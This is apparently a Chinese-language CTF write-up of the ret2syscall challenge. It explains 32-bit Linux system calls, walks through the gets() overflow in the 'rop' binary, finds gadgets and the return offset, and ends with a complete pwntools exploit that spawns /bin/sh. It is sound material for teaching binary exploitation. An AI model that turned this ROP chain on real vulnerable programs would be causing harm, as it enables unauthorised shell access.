ret2syscall
环境
ret2syscall
原理
系统调用
系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。
操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。
应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX;
1、把函数参数存入其它通用寄存器;
3、触发 0x80 号中断(int 0x80)。
利用方式
gadgets :以 ret 结尾的指令序列
利用程序中的gadgets控制寄存器的读写来进行系统调用,实现execve("/bin/sh",NULL,NULL)系统调用,获取最高权限。
漏洞分析
使用checksec指令查看程序保护措施
checksec rop

可见该程序为32位,仅开启了NX堆栈不可执行,故不可以直接向堆栈中注入shellcode获取权限。
使用IDE32位进行调试
反汇编后可看到main函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
可以看到主函数中存在gets危险函数,可以利用gets修改main函数的返回值返回到我们所需的gadgets,从而进行想要执行的系统调用,在这里我们可以进行execve("/bin/sh",NULL,NULL)系统调用
通过在IDA中shift + F12查看字符串,我们可以看到存在/bin/sh字符串,地址为0x080BE408

我们可以直接利用这个字符串作为execve的第一个参数进行调用。
由上述原理可知,这里我们需要eax寄存器来存储系统调用号,利用其它寄存器来存储参数,再通过0x80触发中断
此处我们系统调用函数为execve,对应的系统调用号为0xb,故应给eax赋值0xb。
execve函数的三个参数则分别对应着ebx、ecx、edx三个寄存器
ebx——0x080BE408(/bin/sh字符串地址)
ecx——0
edx——0
如何给这些寄存器赋值呢?
汇编语言中有一条指令是pop xxx,可将栈顶数据弹出并存入xxx中,这个xxx可以为寄存器
我们就可以使用gets函数修改栈中数据,然后触发pop指令将这些数据存入栈中
那么如何指定pop指令的操作对象呢?
这时我们需要利用一个小工具:ropgadgets,这个工具可以帮助我们获取需要的gadgets
比如这道题我们需要将0xb存入eax中,我们就可以输入以下指令
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
这条指令可以帮助我们找到rop程序中eax寄存器的pop|ret指令的地址

可以看到,包含pop、eax、ret指令的所有gadgets都被列出,这里我们只需要第二个即可
然后我们再找’ebx’的相关gadgets
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

发现这么多相关的gadgets均被列出,这里我们可以发现倒数第六行将ebx、ecx、edx都用到了,我们就可以直接利用这一条gadgets来给这些寄存器赋值
接下来再利用gdb获取return偏移量
gdb rop
cyclic 200
r
cyclic -l 0x62616164

随机产生200个字母

可以看到在0x62616164报错,说明这里就是return在栈中的位置,被这四个字母覆盖

通过cyclic -l命令查找刚刚随机产生的字符串中这四个连续字母的位置可以确定偏移量为112
payload
from pwn import *
io = process('./rop')
pop_eax_ret = p32(0x080bb196)
pop_edx_ecx_ebx_ret = p32(0x0806eb90)
int_0x80 = p32(0x08049421)
payload = bytes('a' * 112,'utf-8') + pop_eax_ret + p32(0xb) + pop_edx_ecx_ebx_ret + p32(0) + p32(0) + p32(0x080BE408) + int_0x80
io.sendline(payload)
io.interactive()
| 地址 | 栈中内容 |
|---|---|
| ebp~ebp-0x64 | a |
| main函数return地址 | pop_eax_ret地址 |
| pop_eax_ret参数 | 0xb |
| pop_eax_ret return地址 | pop_edx_ecx_ebx_ret地址 |
| 参数3 | 0 |
| 参数2 | 0 |
| 参数1 | /bin/sh字符串地址 |
| pop_edx…_ret返回地址 | 0x80截断 |
其中栈中参数都是pop的参数,用来弹到指定的寄存器中
